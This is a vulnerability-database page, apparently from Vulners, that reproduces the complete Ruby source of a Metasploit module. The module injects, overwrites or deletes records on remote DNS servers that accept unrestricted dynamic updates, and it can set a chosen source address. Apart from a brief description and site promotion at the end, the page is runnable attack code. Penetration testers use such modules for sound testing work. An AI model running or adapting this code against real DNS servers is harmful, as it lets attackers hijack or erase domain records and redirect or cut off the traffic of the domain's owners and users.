Lucene search
+L

DNS Server Dynamic Update Record Injection

🗓️ 22 Jun 2017 22:47:04Reported by King Sabri <[email protected]>, Brent Cook <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 54 Views

DNS Server Dynamic Update Record Injection allows adding and/or deleting a record to any remote DNS server that allows unrestricted dynamic updates. It supports adding and updating a record, adding a new record with fail if it already exists, and deleting an existing record

Code
# -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'dnsruby'

class MetasploitModule < Msf::Auxiliary

  def initialize
    super(
        'Name'           => 'DNS Server Dynamic Update Record Injection',
        'Description'    => %q{
        This module allows adding and/or deleting a record to
        any remote DNS server that allows unrestricted dynamic updates.},
        'Author'         => [
          'King Sabri <king.sabri[at]gmail.com>',
          'Brent Cook <brent_cook[at]rapid7.com>'
        ],
        'References'     => [
          ['URL', 'https://www.tenable.com/plugins/nessus/35372'],
          ['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
          ['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
          ['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/HostScripts/DNSInject.py']
        ],
        'License'        => MSF_LICENSE,
        'Actions'        => [
          ['UPDATE', 'Description' => 'Add or update a record. (default)'],
          ['ADD',    'Description' => 'Add a new record. Fail if it already exists.'],
          ['DELETE', 'Description' => 'Delete an existing record.']
        ],
        'DefaultAction' => 'UPDATE'
    )

    register_options([
      OptString.new('DOMAIN', [true, 'The domain name']),
      OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
      OptString.new('HOSTNAME', [true, 'The name record you want to add']),
      OptAddress.new('IP', [false, 'The IP you want to assign to the record']),
      OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']),
      OptEnum.new('TYPE',  [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]),
      OptAddress.new('CHOST', [false, 'The source address to use for queries and updates'])
    ])

  end

  def record_action(type, type_enum, value, action)
    # Send the update to the zone's primary master.
    domain = datastore['DOMAIN']
    fqdn   = "#{datastore['HOSTNAME']}.#{domain}"
    opts   = {nameserver: datastore['RHOST']}
    if datastore['CHOST'] && datastore['CHOST'] != ""
      if Rex::Socket.is_ipv4?(datastore['CHOST'])
        opts[:src_address] = datastore['CHOST']
      elsif Rex::Socket.is_ipv6?(datastore['CHOST'])
        opts[:src_address6] = datastore['CHOST']
      end
    end
    resolver = Dnsruby::Resolver.new(opts)
    update   = Dnsruby::Update.new(domain)
    updated  = false
    case
      when action == :resolve
        begin
          answer = resolver.query(fqdn, type)
          if (answer.answer.count > 0) then
            print_good "Found existing #{type} record for #{fqdn}"
            return true
          end
          return false
        rescue Dnsruby::ResolvError, IOError => e
          print_good "Did not find an existing #{type} record for #{fqdn}"
          vprint_error "Query failed: #{e.message}"
          return false
        end
      when action == :add
        print_status("Sending dynamic DNS add message...")
        update.absent("#{fqdn}.", type)
        update.add("#{fqdn}.", type_enum, 86400, value)
        begin
          resolver.send_message(update)
          print_good "The record '#{fqdn} => #{value}' has been added!"
          updated = true
        rescue Dnsruby::ResolvError, IOError => e
          print_error "Cannot add #{fqdn}"
          vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
          vprint_error "Update failed: #{e.message}"
        end
      when action == :delete
        begin
          print_status("Sending dynamic DNS delete message...")
          update.present(fqdn, type)
          update.delete(fqdn, type)
          resolver.send_message(update)
          print_good("The record '#{fqdn} => #{value}' has been deleted!")
          updated = true
        rescue Dnsruby::ResolvError, IOError => e
          print_error "Cannot delete #{fqdn}"
          vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
          vprint_error "Update failed: #{e.message}"
        end
    end
    updated
  end

  def update_record(type:, type_enum:, value:, value_name:)
    if value.nil? || value == ""
      print_error "Record type #{type} requires the #{value_name} parameter to be specified"
      return
    end
    force = datastore['CHOST'] && datastore['CHOST'] != ""
    case
      when action.name == 'UPDATE'
        if force
          record_action(type, type_enum, value, :delete)
          record_action(type, type_enum, value, :add)
        else
          if record_action(type, type_enum, value, :resolve)
            if record_action(type, type_enum, value, :delete)
              record_action(type, type_enum, value, :add)
            end
          else
            record_action(type, type_enum, value, :add)
          end
        end
      when action.name == 'ADD'
        if force
          record_action(type, type_enum, value, :add)
        else
          if record_action(type, type_enum, value, :resolve) == false
            record_action(type, type_enum, value, :add)
          else
            print_error "Record already exists, try DELETE or UPDATE"
          end
        end
      when action.name == 'DELETE'
        if force
          record_action(type, type_enum, value, :delete)
        else
          if record_action(type, type_enum, value, :resolve)
            record_action(type, type_enum, value, :delete)
          else
            print_error "Record does not exist, not deleting"
          end
        end
    end
  end

  def run
    ip = datastore['IP']
    value = datastore['VALUE']
    begin
      case
      when datastore['TYPE'] == 'A'
        update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')
      when datastore['TYPE'] == 'AAAA'
        update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')
      when datastore['TYPE'] == 'CNAME'
        update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')
      when datastore['TYPE'] == 'TXT'
        update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')
      else
        print_error "Invalid Record Type!"
      end
    rescue ArgumentError => e
      print_error(e.message)
    rescue Dnsruby::OtherResolvError
      print_error("Connection Refused!")
    rescue Dnsruby::DecodeError
      print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation